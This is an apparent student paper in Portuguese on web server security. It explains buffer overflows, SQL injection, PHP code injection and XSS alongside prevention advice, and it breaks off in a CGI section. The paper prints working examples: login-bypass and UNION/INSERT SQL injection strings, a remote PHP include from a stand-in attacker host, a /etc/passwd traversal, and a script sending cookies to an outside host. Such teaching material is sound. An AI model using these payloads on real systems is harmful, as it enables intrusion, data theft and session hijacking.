Sunteți pe pagina 1din 21

Nomes: Sávio Rodrigo Atunes dos Santos Rosa  RA: 025144

 Diego Henrique Florentino de Andrade RA: 023549 

Segurança e WebServers

1) Introdução:

Atualmente a utilização de aplicações web apresenta um papel fundamental no mercado de 
TI. Suas principais vantagens em relação às aplicações dektop estão no fato de que são acessíveis 
globalmente e possuem alta portabilidade. E tudo indica que as aplicações para web tendam a se 
tornar ainda mais populares, pois com o advento da Web 2.0 que utiliza tecnologias inovadoras, 
como o AJAX, houve um aumento notável na flexibilidade das aplicações desenvolvidas. 
Pretendemos abordar nesse documento assuntos relativos a segurança de WebServers e suas 
implicações no desenvolvimento de programas seguros para Web.

2) WebServers:

Apesar dos programas WebServers diferirem em alguns detalhes, todos eles compartilhas 
algumas funcionalidades básicas:

1. Respostas a requisições HTTP: todo programa WebServer opera aceitando requisições 
HTTP da rede, e provendo respostas aos clientes. A resposta HTTP geralmente consiste de 
um documento HTML, mas pode ser também um arquivo em texto­plano, uma imagem, ou 
qualquer outro tipo de documento. Se algum problema ocorrer no processamento da 
requisição do cliente, um WebServer deve responder com uma mensagem de erro, que pode 
incluir algum documento HTML ou mensagem de texto para melhor melhor explicar o 
problema a um humano.
2. Logging: em geral WebServers tem a capacidade de guardar logs com informações 
detalhadas sobre requisições de clientes e respostas do servidor, permitindo ao WebMaster 
levantar estatísticas a respeito da operação do servidor.

Na prática os WebServers também implementam algumas outras funcionalidades:

1. Configuração das funcionalidades por meio de arquivos de configuração ou por interfaces 
com o usuário.
2. Autenticação: requisição opcional de autorização antes de liberar o acesso a algum ou 
qualquer tipo de recurso.
3. Manipulação não apenas de contúdo estático, mas também de conteúdo dinâmico, através de 
suporte a uma ou mais das seguintes interfaces: SSI, CGI, SCGI, FastCGI, PHP, ASP, 
ASP.NET, Server API como NSAPI, ISAPI, etc.
4. Suporte a módulos, a fim de permitir a extensão das capacidades do servidor, seja 
adicionando ou modificando modulos de software que são ligados ao programa servidor ou 
que são dinamicamente carregados.
5. Suporte a HTTPS (SSL or TLS) a fim de permitir conexões seguras (cifradas) aow servidor, 
nas porta padrão 443 ao invés da porta 80, padrão para HTTP.
6. Compressão de conteúdo (geralmente por codificação gzip), para reduzir o tamanho das 
respostas e, por conseguinte, diminuir a banda requerida.
7. Virtual Host, para permitir hospedagem de muitos websites utilizando apenas um endereço 
IP.
8. Suporte a arquivos grandes, para que possa servir arquivos cujo tamanho sejam superiores a 
2 GB.
9. Controle de banda, a fim de limitar a velocidade das respostas para não saturar a rede e 
poder servir outros clientes.

2.1) Uniform Resource Location (URL)

WebServers geralmente traduzem o caminho para um componente de uma URL um recurso 
para o sistema de arquivos local. O caminho URL especificado pelo cliente é traduzido para o para 
o diretório raiz do WebServer.
Considere a seguinte URL a ser traduzida pelo cliente:

http://www.example.com/path/file.html

O Browser do cliente traduzirá a URL em uma conexão para www.example.com de acordo 
com a seguinte requisição HTTP 1.1:

GET /path/file.html HTTP/1.1
Host: www.example.com

O WebServer em www.example.com irá concatenar o caminho especificado com o seu 
diretório raiz. Nas máquinas Unix o diretório raiz é geralmente dado por /var/www/htdocs. O 
resultado é o seguinte recurso para o sistema de arquivos local:

/var/www/htdocs/path/file.html

O WebServer irá então ler este arquivo, se existir, e enviar a resposta para o Browser do 
cliente. A resposta descreverá o arquivo além de conter o próprio arquivo.

2.2) Aplicações WebServers:

Os quatro WebServers mais comuns são:

• Apache HTTP Server da Apache Software Foundation
• Internet Information Services (IIS) da Microsoft
• Sun Java System WebServer da Sun Microsystems
• Zeus WebServer da Zeus Technology

A Internet vem experimentando atualmente um forte crescimento no número de sites, o que 
se deve em grande parte a popularização dos blogs, e da proliferação de companhias de hospedagem 
gratuita.
Abaixo um gráfico demonstrando a flutuação no número de websites no mundo, desde 
Agosto de 1995 até Junho de 2006.
Gráfico 1 – Flutuação de WebSites de 08/95 a 06/06

Um outro aspecto interessante a ser notado é um recente ganho de mercado da Microsoft em 
relação ao concorrente software de código aberto Apache, que ainda continua líder de mercado. A 
migração observada deve­se ao fato de que algumas grandes companhias americanas de 
hospedagem de sites, como a Go Daddy, tem deixado de utilizar Linux como Sistema Operacional, 
e por esse motivo tem optado pelo pacote da Microsoft Windows – IIS.
Abaixo observamos um gráfico com a evolução no uso dos principais Softwares WebServers 
também de Agosto de 1995 a Junho de 2006, onde se percebe essa migração para o uso de IIS.

Gráfico 2 – Evolução no uso de WebServers

A tabela seguinte aponta o valor apurado no uso de WebServers no início dos meses de Maio 
e Junho de 2006, e também reflete essa migração para os sistemas da Microsoft.
Junho de 2006 Porcentagem Maio de 2006 Porcentagem Diferença
Apache 52819517 64.76 52389885 61.25 ­3.51
Microsoft 20764239 25.46 25415611 29.71 4.25
Sun 1917950 2.35 1311822 1.53 ­0.82
Zeus 550437 0.67 531399 0.62 ­0.05
Tabela 1 – Uso dos principais WebServers em Maio e Junho de 2006

2.3) WebServers mais utilizados e suas principais vulnerabilidades
Os principais servidores web utilizados são o IIS (Internet Information System) e o Apache.

Vulnerabilidades no Servidor IIS
Existem diversas vulnerabilidades em várias versões do  Microsoft IIS. Abaixo estão relacionadas as 
mais freqüentes:

• Muitas destas vulnerabilidades são "buffer overflows".
• Falhas de segurança estariam presentes em algumas funções do servidor, como ISAPI, 
WebDAV e possibilitaria que um cracker lançasse ataques denial­of­service (DoS) e 
aproveitasse vulnerabilidades do tipo Cross­Site Scripting (CSS), como para elevação 
de privilégios.

Vulnerabilidades no Servidor APACHE
O Apache é um programa complexo que goza de um certo respeito pela Comunidade Hacker por 
possuir seu código fonte aberto. Mas, por ser um programa complexo, que cada vez mais vem tendo 
um aumento de linhas de códigos e de funções, as chances de se descobrir um furo no Servidor 
Apache são consideráveis. Abaixo estão relacionadas as mais freqüentes:

• Ataque de negação de serviço.
• Executar um ataque remoto através de um script ou ler cookies de outros sites – 
exploração de vulnerabilidades via CGI Scripts.

3) Segurança em WebServers:

Os principais pontos vulneráveis das aplicações voltadas à web que abordaremos são os 
seguintes:

• Buffer Overflow
• SQL Injection
• Code Injection
• XSS / CSS (Cross Site Scripting)
• Ataques via CGI­Scripts
• Ataques via SSI (Server Side Include)
Figura 1: Esquema das principais vulnerabilidades de um WebServer

3.1) Buffer Overflow

3.1.1) Introdução

   Buffer overflow é um falha de segurança comumente encontrada em WebServers, mas, 
apesar de ser uma falha muito conhecida e bastante séria, o erro repete­se sistematicamente a cada 
nova versão liberada.
   Alguns programas já são famosos por freqüentemente apresentarem a falha, como o 
Sendmail, módulos do Apache, o Internet Information Services (IIS) da Microsoft e softwares 
considerados seguros, como o OpenSSH.

  Um buffer overflow é resultado do  armazenamento de uma quantidade maior de dados do 
que um buffer pode suportar, ou seja, estourar o buffer. 

   O princípio de um ataque baseado em  buffer overflow  é estourar o  buffer  e sobrescrever 


parte da pilha, alterando o valor das variáveis locais, valores dos parâmetros e/ou o endereço de 
retorno. 
  Por exemplo, altera­se o endereço de retorno RET(Return Address)  da função para que ele 
aponte   para   a   área   em   que   o   código   que   se   deseja   executar   encontra­se   armazenado   (código 
malicioso dentro do próprio buffer estourado ou até algum trecho de código presente no programa 
vulnerável), podendo­se assim executar código malicioso  com os privilégios do usuário que executa 
o programa vulnerável, como super­usuário (root) por exemplo.

    Daemons  de   sistema   como   (syslogd(8),  mountd(8))   ou   aplicações   que   rodam   com 


privilégios de root como (sendmail(8), até pouco tempo) são portanto alvo preferencial.

3.1.2) Tipos de buffer overflow

  Existem três tipos básicos de ataques utilizando­se a vulnerabilidades de  buffer overflow: 

• Buffer overflow baseado em pilha: a técnica de  exploração mais simples e comum, atua 
pela alteração do estado da pilha durante a execução do programa para direcionar a 
execução para o código malicioso contido no buffer estourado: 

• Buffer overflow baseado em heap: bem mais difícil de explorar, por causa da disciplina 
de acesso à heap (blocos não contíguos, fragmentação interna). Deve­se estourar o buffer 
armazenado na área da heap em direção ao endereço de retorno na pilha, para direcionar a 
execução para o código malicioso que se encontra no buffer estourado; 

• Buffer overflow de retorno à libc: alteram o fluxo de execução pelo estouro de algum 
buffer na pilha ou heap, para algum trecho de código armazenado no segmento de texto do 
programa. Tipicamente este trecho de código é alguma chamada de função comumente 
utilizada da biblioteca padrão libc, como as chamadas de execução arbitrária de comandos 
(funções da família exec(3)). Este tipo de ataque tem sido bastante utilizado após a 
inclusão de patches nos sistemas operacionais que impedem a execução de código em 
pilha, em heap ou na região de dados. 

3.1.3) Como prevenir ataques por buffer overflow
  
  A técnica de solução tradicional é efetuar a checagem de limite (garantindo que o número 
de caracteres inseridos não exceda o limite estabelecido) ou garantir que a linguagem faça a 
alteração dinâmica do tamanho do buffer. 
  A solução é utilizar funções de biblioteca que não apresentem problemas relacionados a 
buffer overflow.     
  A solução na biblioteca padrão é utilizar as funções strncpy(3) e strncat(3) que recebem 
como argumento o número máximo de caracteres copiados entre as strings. Deve haver controle no 
argumento fornecido para que ele não exceda o tamanho da string de destino, ou teremos novamente 
código vulnerável.
  Os sistemas BSD fornecem as funções strlcpy(3) e strlcat(3) para cópia e concatenação de 
strings.    Estas funções recebem como argumento o tamanho total do buffer de destino. 
  Outras bibliotecas, como a Libmib (Libmib Software Library) que implementa realocação 
dinâmica das strings quando seu tamanho é ultrapassado, e a Libsafe que contém versões 
modificadas das funções suscetíveis a buffer overflow, funcionando como um wrapper(padrão de  
projeto) para a libc padrão. 

  Um dos problemas do servidor implementado é a falta de checagem de tamanho do buffer 
nas chamadas sucessivas à função read(2). As alternativas nesse caso são a inclusão de código de 
checagem de limite do buffer ou a utilização de funções como recv(2) que recebem como 
argumento o tamanho máximo da string recebida. 
Outras recomendações passam pela utilização de compiladores com checagem de limite, 
aplicação de patches ao sistema operacional que impossibilitem a execução de código na pilha ou 
heap (ainda restam os ataques utilizando a região de texto, entretanto), preferência por alocação 
dinâmica dos buffers na área de heap, atenção redobrada na codificação dos laços de interação que 
preenchem os buffers e exame cuidadoso das possíveis entradas do usuário. 

A exploração de código vulnerável a buffer overflow exige alguma habilidade, pois na 
maioria das vezes aproveitar­se das falhas não é fácil, mas o conhecimento necessário para tal tarefa 
pode ser facilmente adquirido pelo material difundido pela Internet e experimentos de explorar essa 
vulnerabilidade.
Por isso o desenvolvimento de software seguro deve ser tratado com muita responsabilidade 
e atenção, principalmente no desenvolvimento de software de segurança projetados para ser 
executado com privilégios de super­usuário ou usuário especial do sistema. 

3.2) SQL Injection:

SQL Injection é a técnica utilizada para explorar vulnerabilidades em aplicações Web que 
utilizam dados fornecidos pelo usuário sem antes tratar caracteres que podem oferecer algum 
perigo. A idéia é fazer com que a aplicação alvo rode um código SQL que não era inicialmente 
previsto pelo programador. Apesar de ser um problema de simples correção, existe um grande 
número de websites conectados a internet que são vulneráveis a esse tipo de ataque.
A seguir descreveremos as seguintes técnicas de SQL Injection:

• Passagem por autenticação
• Usando o comando SELECT
• Usando o comando INSERT
• Usando Stored Procedures do SQL Server

3.2.1) Passagem por Autenticação:
A técnica mais simples de SQL Injection é a passagem por formulários de login. Considere o 
seguinte código de uma aplicação Web:

SQLQuery = "SELECT Username FROM Usuários WHERE Username = ‘" &
strUsername & "‘ AND Password = ‘" & strPassword & "‘"
username = GetQueryResult(SQLQuery)
If username = "" Then
  Authenticated = False
Else
  Authenticated = True
End If

O que acontece quando o usuário submete seu username e password? A consulta seguirá 
para o banco de dados buscando saber se na tabela “Usuários” existe um registro tal que o username 
e o password sejam os mesmos que os fornecidos pelo usuário. Se tal registro for encontrado o 
username será atribuido a variável “username”, que indica que o usuário identificou­se 
corretamente. Se não existir nenhum registro, “username” estará vazia, significando que o usuário 
não autenticou­se corretamente.
Se “strUsername” e “ strPassword” puderem conter qualquer caracter que for desejado, 
pode­se modificar a atual estrutura da consulta SQL tal que um nome válido possa ser retornado 
mesmo que não se conheça um par username/password válidos. Para isso basta que se preencha os 
campos “login” e “password” do formulário da seguinte forma:

Login: ' OR '1'='1
Password: ' or '1'='1

Isto resultará na seguinte consulta SQL:

SELECT Username FROM Users WHERE Username = ‘‘ OR ‘1‘=‘1‘ AND
Password = ‘‘ OR ‘1‘=‘1‘

Ao invés de comparar o usuário fornecido pelo usuário com aqueles presentes na tabela 
“Usuários”, a consulta irá comparar a cláusula '1'='1' que obviamente sempre retorna TRUE. Uma 
vez que as condições da cláusula WHERE foram atendidas, a aplicação selecionará a primeira linha 
do conjunto de registros retornados. Passara o username para a váriavel de mesmo nome o que 
garantirá a autenticação.

3.2.2) Usando o comando SELECT:

Em algumas situações, é necessário fazer engenharia reversa da aplicação vulnerável a partir 
das mensagens de erro retornadas. Para fazer isso é necessário saber interpretar as mensagens 
retornadas para saber como fazer o melhor ataque.
O primeiro erro normalmente encontrado é o erro de sintaxe. Um erro de sintaxe indica que 
a consulta não segue a estrutura SQL correta. A primeira coisa a ser feita é determinar se a injeção 
de código é possível através da manipulação de aspas.
Em uma injeção direta qualquer argumento submetido será usado na consulta SQL sem 
qualquer modificação. Uma boa tática é atribuir um valor legítimo ao valor a ser submetido e 
concatenar a ele um espaço e a palavra “OR”. Se este fato gerar um erro, então é possível fazer a 
injeção direta. Valores diretos podem ser valores númericos usados na cláusula WHERE, tal como o 
exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE 
Employee = " & intEmployeeID

ou pode ser também um nome de tabela ou campo, tal como:
SQLString = "SELECT FirstName, LastName, Title FROM Employees ORDER 
BY " & strColumn

Todas as outras instâncias são vulnerabilidades que usam aspas, conhecidas como “quoted 
injection”. Em uma “quoted injection” qualquer argumento submetido terá aspas adicionadas ao seu 
início e fim, assim como:
SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE 
EmployeeID = ‘" & strCity & "‘"

Para quebrar o uso de aspas e manipular a consulta mantendo uma sintaxe válida, deve­se 
usar uma aspas simples antes do uso de qualquer keyword SQL, tal como “OR”, “AND”, etc.

3.2.2.1) União Basica:

O uso do comando SELECT é usado com o objetivo de obter informações do banco de 
dados. A maioria das páginas que apresentam conteúdo dinâmico obtém esse conteúdo através do 
uso de queries com comando SELECT, e na maioria das vezes somente será possível manipular a 
porção da query que se localiza após a cláusula WHERE.
Para fazer o banco de dados retornar registros que não sejam aqueles previstos pelo 
programador, é possível modificar a cláusula WHERE injetando um comando UNION SELECT. 
Isto permite que múltiplas queries SELECT sejam especificadas de uma vez. Eis um exemplo:

SELECT CompanyName FROM Shippers WHERE 1 = 1 UNION ALL SELECT 
CompanyName FROM Customers WHERE 1 = 1

Isto retornará o conjunto de registros da primeira query somado ao conjunto de registros da 
segunda. O ALL é necessário para permitir certos tipos de cláusulas SELECT DISTINCT. O 
atacante deve apenas se assegurar de que a primeira query ( aquele que o desenvolvedor da 
aplicação pretendia executar) não retorna nenhum resultado. Suponha o script com o seguinte 
código:

SQLString = "SELECT FirstName, LastName, Title FROM Employees WHERE 
City = ‘" & strCity & "‘"

O atacante utiliza a seguinte string para injeção:

 ‘ UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘

A query resultante a ser mandada para o banco de dados é a seguinte:
SELECT FirstName, LastName, Title FROM Employees WHERE City = ‘‘ 
UNION ALL SELECT OtherField FROM OtherTable WHERE ‘‘=‘‘

O banco de dados irá inspecionar a tabela Employees, buscando por um registro tal que o 
campo  City possua como valor a string vazia. Uma vez que esse valor não será encontrado, nenhum 
registro será retornado. Os únicos registros retornados serão da query injetada. Em alguns casos, 
usar a string vazia não irá funcionar porque existirão entradas na tabela que estarão vazias, ou 
porque o valor vazio possui algum outro significado para a aplicação. É necessário simplesmente 
especificar um valor que não ocorre na tabela. Quando um número deve ser especificado, zero ou 
um número negativo geralmente funcionam bem. Para argumentos textuais é recomendado usar uma 
string pouco comum. 

3.2.2.2) Queries com problemas de sintaxe:

Alguns servidores de bancos de dados retornam a porção da query contendo o erro de 
sintaxe em mensagens de erro. Nestes casos é possível se aproveitar destas mensagens no auxilio à 
injeção de código SQL. Dependendo de como a query foi construída, é possível obter informações 
de grande utilidade.

3.2.2.3) Parênteses:

Se o erro de sintaxe contém um parêntese na mensagem retonada, ou a mensagem relata 
problemas no balanceamento de parênteses, é uma boa idéia adicionar parênteses à string que será 
injetada. Em alguns casos será necessário adicionar dois ou mais parenteses. Abaixo um exemplo do 
uso dessa técnica:

"SELECT LastName, FirstName, Title, Notes, Extension FROM
Employees WHERE (City = ‘" & strCity & "‘)"

então, o seguinte valor pode ser injetado:

“‘) UNION SELECT OtherField FROM OtherTable WHERE (‘‘=‘”,

resultando na seguinte query a ser mandada para o banco de dados:

SELECT LastName, FirstName, Title, Notes, Extension FROM
Employees WHERE (City = ‘‘) UNION SELECT OtherField From
OtherTable WHERE (‘‘=‘‘)

a qual possui todos os parenteses balanceados e foi uma boa escolha graças à informação obtida de 
que existia um erro no balanceamento de parenteses.

3.2.2.3) Uso da cláusula LIKE:

Uma outra possibilidade de injeção de código SQL é feita em uma cláusula LIKE. São 
indicações dessa situação o aparecimento da palavra­chave LIKE ou do caracter porcento no retorno 
de erro. A maioria das funções de busca utilizam a cláusula LIKE nas queries SQL, como o 
exemplo abaixo:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Os caracteres porcento permitem que sejam retornados todos os registros em que a string 
passada como parâmetro esteja contida nas strings do campo no banco de dados. Para fazer com que 
a query não retorne resultados, é preciso que o valor submetido não esteja contido em nenhuma 
string do campo LastName. Também é possível submeter uma string vazia, o que fará com que o 
banco de dados retorne todos os registros.

3.2.3) Usando o comando INSERT:

O comando INSERT é utilizado com o objetivo de inserir informações ao banco de dados. 
Usos comuns do comando INSERT numa aplicação web incluem desde registro de usuários à 
adição de itens ao carrinho em uma loja de comércio eletrônico. Checar vulnerabilidades no 
comando INSERT é tarefa semelhante aquele realizada ao checar vulnerabilidades na cláusula 
WHERE. Não se deve usar o comando INSERT caso se queira previnir contra detecção. 
Dependendo do quão atencioso é o administrador ou da forma como a informação submetida é 
utilizada, ele pode ficar sabendo do ataque.
Eis uma forma de como a injeção utilizando INSERT difere­se da injeção utilizando 
SELECT. Suponha um site que permite algum tipo de registro de usuário através de um fomulário 
onde se preenche o nome, endereço, número de telefone, etc. Depois de submeter o formulário é 
possível navegar até uma página onde esteja disposta a informação submetida e seja possível editá­
la. É exatamente o que se precisa. Para tirar vantagem da vulnerabilidade do comando INSERT, é 
preciso ver a informação submetida, não sendo importante onde ela se encontra. Talvez ao se logar a 
aplicação disponha o valor gravado para o nome, ou ao se cadastrar a aplicação envie um e­mail 
com o nome na mensagem. Seja como for, é preciso encontrar uma forma de analisar os dados 
submetidos.
O comando INSERT tem a seguinte forma:

SQLString = "SELECT FirstName, LastName, Title FROM Employees
WHERE LastName LIKE ‘%" & strLastNameSearch & "%’"

Pode ser necessário manipular os argumentos na cláusula VALUES para que seja possível 
recuperar outros dados. Isso pode ser feito usando­se subselects.
Considere o seguinte código:

SQLString = "INSERT INTO TableName VALUES (‘" & strValueOne &
"‘, ‘" & strValueTwo & "‘, ‘" & strValueThree & "‘)"

Então preenche­se o formulário da seguinte forma:

Nome: ‘ + (SELECT TOP 1 FieldName FROM TableName) + ‘
Email: blah@blah.com
Telefone: 333­333­3333

Isso faz com que a query SQL seja:

INSERT INTO TableName VALUES (‘‘ + (SELECT TOP 1 FieldName FROM
TableName) + ‘‘, ‘blah@blah.com’, ‘333­333­3333’)

Ao visualizar a página com a edição dos dados o que será visto é o primeiro valor do campo 
FieldName, onde originalmente estaria o nome preenchido. Caso não seja usado TOP 1 no subselect 
obter­se­á uma mensagem de erro dizendo que muitos registros foram retornados. É possível obter 
todos os registros da tabela repetindo o procedimento anterior e usando a cláusula NOT IN() para os 
valores já obtidos.

 3.2.4) Soluções para SQL Injection:

Duas ações devem ser tomadas para imunizar a aplicação contra SQL Injection: tratar os 
dados recebidos e tratar da segurança da aplicação.

3.2.4.1) Tratamento de dados:

Todos os dados submetidos pelo usuário precisam ser investigado e limpos de caracteres que 
podem ser usados de forma maliciosa. Isso na verdade deveria ser feito para todas as aplicações, não 
somente aquelas que usam queries SQL. Uma boa solução é a utilização da técnica de escape de 
caracteres aspas. Para isso adiciona­se uma barra invertida(slash) antes de cada aspas presente no 
texto submetido. Todavia esta técnica não garante que a injeção não acontecerá (por exemplo, no 
ataque direto, que não utiliza aspas, explicado anteriormente). É preciso adotar tambem novas 
técnicas. Umas das possibilidades é a restrição da entrada a um conjunto de caracteres aceitavéis. 
Isso deve ser feito adotando expressões regulares. O exemplo abaixo retorna apenas números e 
caracteres:

s/[^0­9a­zA­Z]//\

Podem ser feitos quaiquer tipos de filtros usando expressão regular, e quanto mais restrita for 
a entrada, menor a possibilidade de injeção. A adoção de filtros é especialmente importante quando 
os dados de entrada devem ser apenas números. Caso seja necessário incluir símbolos, ou pontuação 
de qualquer tipo, estes devem ser convertidos para seus substitutos em HTML, tal como &quote; ou 
>. Por exemplo, se o usuário estiver submetendo um e­mail, deve ser permitado apenas os 
caracteres “@”, underscore, ponto, hífen além de números e letras, e devem ser permitidos apenas 
após a transformação desses caracteres para seus substitutos HTML.

3.2.4.2) Codificação de queries SQL:

Existem algumas regras básicas para codificação SQL. Em primeiro lugar deve­se sempre 
adicionar aspas ao início e ao fim dos dados submetidos pelo usuário, e sempre adicionar uma barra 
invertida antes de cada aspas no texto do usuário, caso sejam relamente necessárias e precisem 
passar pelo filtro. Além disso os direitos do usuário de banco de dados da aplicação devem ser os 
mais restritos possíveis.

3.3) Code Injection:

Se uma aplicação web processa dinamicamente arquivos de inclusão ou caminhos para 
arquivos incorretamente, torna­se vulnerável a execução de um código arbitrário no servidor, ou da 
recuperação do conteúdo de arquivos. Um ataque implementado com sucesso permite ao atacante 
passagem pelo processo de autenticação, execução de comandos no servidor, visualização e 
gravação de dados arbitrários em arquivos, entre outras coisas. Usaremos como linguagem padrão 
para exemplos o PHP, mas os problemas de injeção de código existem em todas as linguagens de 
scripts para web existentes.

3.3.1) Arquivos:

Uma das coisas que torna PHP uma linguagem bastante flexivel é a facilidade para 
manipulação de arquivos. As funções include(), require() e fopen() aceitam nomes de arquivos com 
caminho local e também remoto, através do uso de URLs. Muitas das vulnerabilidades existentes 
decorrem da manipulação incorreta de arquivos dinâmicos ou de caminhos para arquivos.
Suponha um site que possua um script o qual inclui arquivos HTML e os dispõe em um 
layout apropriado. A URL para esse script seguiria a seguinte forma:

http://example.com/page.php?i=aboutus.html

A variável “i” contém o nome do arquivo a ser incluído. Algumas questões podem ser feitas 
sobre o modo como foi programado o script:
• O programador considerou a possibilidade de voltar em diretórios como em 
i=../../../etc/passwd?
• Checou o arquivo pela extensão .html?
• Usou a função fopen para incluir os arquivos?
• Teria ele pensado em proibir a possibilidade de incluir arquivos remotos?

Em se tratando de uma aplicação vulnerável, a resposta para estas pergunta é não! Nesse 
caso seria possível visualizar todos os arquivos para o qual o usuário httpd tem permissão de leitura. 
Mas um possibilidade ainda mais interessante seria a utilização da variável “i” para inclusão de 
arquivos HTML remotos. Supondo a URL:

http://example.com/page.php?i=http://atacante.org/exec.html

Então poderíamos preencher o arquivo exec.html com as seguintes linhas.

<?php 
    passthru ('ls ­al /etc'); 
    passthru ('echo Seu site foi hackeado | mail root'); 
?> 

Como se percebe, a vulnerabilidade de injeção de código pode ser bastante desastrosa.

3.3.1) Variáveis globais:

Por padrão o PHP cria a maioria das variáveis em escopo global. Por um lado isto é bastante 
conveniente, mas por outro pode fazer com que o programador se perca em scripts longos. De onde 
a variável surgiu? Se ela não foi setada, como de onde ela apareceu? Todas as variáveis EGPCS 
(Environment, GET, POST, Cookie, and Server) são colocadas em um escopo global.
Os arrays associativos globais $HTTP_ENV_VARS, $HTTP_GET_VARS, 
$HTTP_POST_VARS, $HTTP_COOKIE_VARS, $HTTP_SERVER_VARS e 
$HTTP_SESSION_VARS serão criados quando a diretiva de configuração track_vars estiver 
setada. Desta forma será possível procurar pelas variáveis no lugar de onde se espera que venham.

Exemplo

O problema abaixo foi reportado para Bugtraq por Ismael Peinado Palomo em 25 de Julho 
de 2001. Mambo Site Server 3.0.x, um portal dinâmico de gerenciamento de conteúdo baseado em 
PHP e MySQL, vulnerável a injeção de código. Para simplificação o código foi modificado.
No diretório admin/, o arquivo index.php checa se o password submetido é igual aquele do 
banco de dados.

<?php 
    if ($dbpass == $pass) { 
        session_register("myname"); 
        session_register("fullname"); 
        session_register("userid"); 
        header("Location: index2.php"); 
    } 
?> 

Quando o password estivesse correto, as variáveis $myname, $fullname e $userid eram 
registradas como variáveis de sessão. O usuário era então redirecionado para index2.php, onde 
ocorria o seguinte:

<?php 
    if (!$PHPSESSID) { 
        header("Location: index.php"); 
        exit(0); 
    } else { 
        session_start(); 
        if (!$myname) session_register("myname"); 
        if (!$fullname) session_register("fullname"); 
        if (!$userid) session_register("userid"); 
    } 
?> 

Se a variável de sessão ainda não tivesse sido setada, o usuário seria redirecionado de volta 
para a página de login. Caso um session ID já existisse, o script colocaria as variáveis em escopo 
global. Vamos ver como explorar esta vulnerabilidade. Considere a seguinte URL:

http://example.ch/admin/index2.php?PHPSESSID=1&myname=admin&fullname
=joey&userid=admin

As variáveis de GET $PHPSESSID, $myname, $fullname e $userid serão criadas 
como variáveis globais por padrão. Desse forma, ao olhar para a estrutura if­else acima, veremos 
que o script terá a variável $PHPSESSID como setada, e as 3 variáveis dedicadas a autorizar e 
identificar o usuário podem ser setadas para qualquer valor desejado. O banco de dados nem 
precisou ser consultado!

3.4) Cross­Script­Site
3.4.1) Introdução

A expressão "Cross Script Site" (CSS ou XSS) está se tornando muito conhecida, e consiste 
numa falha de segurança muito comum no sites de conteúdo dinâmico ( Perl, JSP, etc).

O problema surge quando um site incorpora em si próprio dados dinâmicos fornecidos pelos 
seus usuários sem verificar completamente essas entradas, isto é, o atacante pode usar tags 
maliciosos que podem prejudicar o sistema. 

Por exemplo em sites que são projetados para permitir tags de HTML, para assim ficarem 
mais interativos, podem permitir comentários de usuários que serão postados depois a outros 
leitores em um livro de visitas (ou guestbook).

Nesse tipo de site, um cracker, colocando certos valores nos blanks destinados aos 
comentários, poderia:

• utilizando­se uma tag <SCRIPT> e com um certo conhecimento sobre o site, o 
script poderia extrair outras informações do site e submetê­las a um servidor 
controlado pelo cracker. 

• com uma tag <FORM>, a entrada poderia alterar o comportamento do formulário, 
até mesmo fazendo com que as informações fossem para uma outra fonte. 
• com uma tag <IMG> poderia ser agregada uma imagem ofensiva. 

• inserir referências em Java (inclusive referências para applets maliciosos). 

• ocasionar o término do arquivo acrescentando </HTML>.

Além disso, esse tipo de vulnerabilidade pode ter efeitos muito mais graves como expor 
conexões SSL­codificadas, tendo acesso locais da rede restringidos pelo cliente, violando políticas 
de segurança de domínio, criando DoS (Denial of Service), enviando simplesmente um código 
JavaScript para um loop infinito de aberturas de janelas do browser, tentativas de ataques de buffers 
overflows em browsers). 

3.4.2) Algumas maneiras de como o CSS pode acontecer

1) O intruso pode sequestrar a session de outro usuário com um código JavaScript relativamente 
simples como este:

<iframe name="teste" id="teste" height="0" width="0"></iframe>
<script language="JavaScript">
<!­­
document.getElementById('teste').src = 'http://intruso.com.br/sequestar.php?cookies=' + document.cookie;
//­­>
</script>

Esse código submete todos os cookies de um determinado usuário do sistema para o cracker.

2) o intruso pode também injetar código HTML malicioso com o objetivo de realizar ataques do 
tipo Denial of Service ao seu site como este que segue abaixo.

 Supondo que a página sendo atacada se chama exemplo.php

<iframe src="exemplo.php" height="1" width="1"></iframe>

O IFRAME irá tentar abrir o próprio script exemplo.php, e esse exemplo.php terá o IFRAME 
novamente, e assim sucessivamente, gerando um loop infinito na Web.

3) Considere a seguinte URL:
http://www.example.com/search.pl?text=<script>alert(document.cookie)</script> 

Se um atacante digitar um link como este e a aplicação Web não validar a entrada, então o 
browser irá mostrar uma mensagem de alerta mostrando o conjunto corrente de cookies.

Um exemplo prático dessa vulnerabilidade pode ser visto na tela abaixo onde foi acrescido 
target=<script>alert(“XSS”)</script> no fim da URL padrão do site. Uma janela de alerta é exibida.
Figura 2: Exemplo de uma tela com uma mensagem de alerta devido a CSS

Este é um exemplo fraco, mas um atacante pode causar muito mais dano, como roubar 
senhas, resetar sua homepage ou redirecionar para outro site.

3.4.3) Como prevenir CSS

Há medidas que podem ser tomadas para ajudá­lo a prevenir esses tipos de ataques:

• Sempre faça as entradas provenientes de fontes externas passarem por um processo 
de validação, como qualquer entrada de formulários, cookies ou uploads de arquivos.

• Defina estritamente tipos de dados permitidos. Rejeitando tudo, exceto entradas 
válidas (em vez de rejeitar apenas entrada inválida conhecida, pois assim se impedira 
que os crackers venham com maneiras mais difíceis de evitar o seu validador).

• Se você já está validando caracteres válidos (e você geralmente deve), isto é feito 
facilmente omitindo os caráter especiais simplesmente da lista de caráter válidos. 

• Sempre valide a entrada após decodificá­la, e não antes. Isso impede que o cracker 
lhe passe variantes de código de exploração codificados na URL.

• Sempre especifique o charset para todas as páginas dinâmicas (e, preferencialmente, 
para qualquer página). Os navegadores usam conjuntos de caracteres (charsets) 
padrão diferentes dependendo de diversos fatores. Foram criadas explorações que 
aproveitaram­se da ambigüidade do charset para enviar texto aparentemente inútil em 
seu site que, quando exibido em um determinado charset, produzia uma efeito de 
ativação entre sites.

Concluindo, os problemas com CSS não podem ser menosprezados em hipótese alguma, 
vários ataques dessa natureza em grandes sites pelo mundo. Com uma brecha desta, só depende da 
curiosidade e criatividade do atacante e deixando claro que este problema afeta qualquer linguagem 
que permite desenvolvimento de aplicações web, independente de plataforma. 

3.5) Ataques via CGI Scripts
3.5.1) Introdução sobre CGI
CGI significa Common Gateway Interface e é uma tecnologia utilizada para fazer a 
passagem (gateway) entre o browser e as aplicações residentes no servidor. 

É uma aplicação de servidores utilizada geralmente para 1) processar solicitações do 
